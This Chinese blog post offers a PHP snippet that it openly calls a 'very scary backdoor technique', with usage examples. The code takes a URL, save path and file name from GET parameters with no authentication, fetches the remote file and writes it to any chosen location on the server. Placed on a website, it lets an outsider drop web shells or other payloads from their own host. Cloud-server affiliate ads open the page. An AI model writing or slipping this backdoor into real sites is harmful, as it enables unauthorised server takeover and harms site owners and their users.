php代码远程下载指定文件到指定目录的代码(超危)

亲测源码3天前发布 admin
2 00
🌐 经济型:买域名、轻量云服务器、用途:游戏 网站等 《腾讯云》特点:特价机便宜 适合初学者用 点我优惠购买
🚀 拓展型:买域名、轻量云服务器、用途:游戏 网站等 《阿里云》特点:中档服务器便宜 域名备案事多 点我优惠购买
🛡️ 稳定型:买域名、轻量云服务器、用途:游戏 网站等 《西部数码》 特点:比上两家略贵但是稳定性超好事也少 点我优惠购买

可以实现网站A访问php文件+特定参数网址 将指定b网站上的文件  下载生成到A网站指定的目录上  非常可怕的后门技巧代码

php代码远程下载指定文件到指定目录的代码(超危)php代码远程下载指定文件到指定目录的代码(超危)

 

一个简单的 PHP 代码示例:

<?php
// 后台上传:pass.123.txt
function download_file() {
    $url = isset($_GET['url']) ? $_GET['url'] : '';
    $save_path = isset($_GET['save_path']) ? $_GET['save_path'] : dirname(__FILE__).'/';
    $filename = isset($_GET['filename']) ? $_GET['filename'] : 'downloaded_file.txt';

    if ($url == '') {
        return "需要提供?url=xxx.com 的文件。";
    }

    // 保存文件
    try {
        $content = file_get_contents($url);
        file_put_contents($save_path . $filename, $content);
        return "成功下载到:{$save_path}{$filename}";
    } catch (\Exception $e) {
        return "下载错误: " . $e->getMessage();
    }
}

// 访问示例:index.php?act=download&url=url
if (isset($_GET['act']) && $_GET['act'] == 'download') {
    echo download_file();
}
?>

使用方式:

  1. 访问路径:
    PHPindex.php?act=download&url=xxx.com/file.txt
  2. 自定义保存路径和文件名:
    • 保存到当前目录下:
      TEXTindex.php?act=download&url=xxx.com/file.txt
    • 指定保存路径:
      TEXTindex.php?act=download&url=xxx.com/file.txt&save_path=/data/backups/
    • 指定文件名:
      TEXTindex.php?act=download&url=xxx.com/file.txt&filename=backup_1234.txt
    • 同时指定路径和文件名:
      TEXTindex.php?act=download&url=xxx.com/file.txt&save_path=/data/backups/&filename=backups_5678.txt
  3. 返回结果:
    成功下载后会显示保存的路径和文件名,例如:

    TEXT成功下载到:/var/www/data/backups/backups_1234.txt

 

该资源来源于WordPress主站,点击下方按钮前往原文页面获取完整内容:

跳转至 WordPress 主站原文页面

© 版权声明

相关文章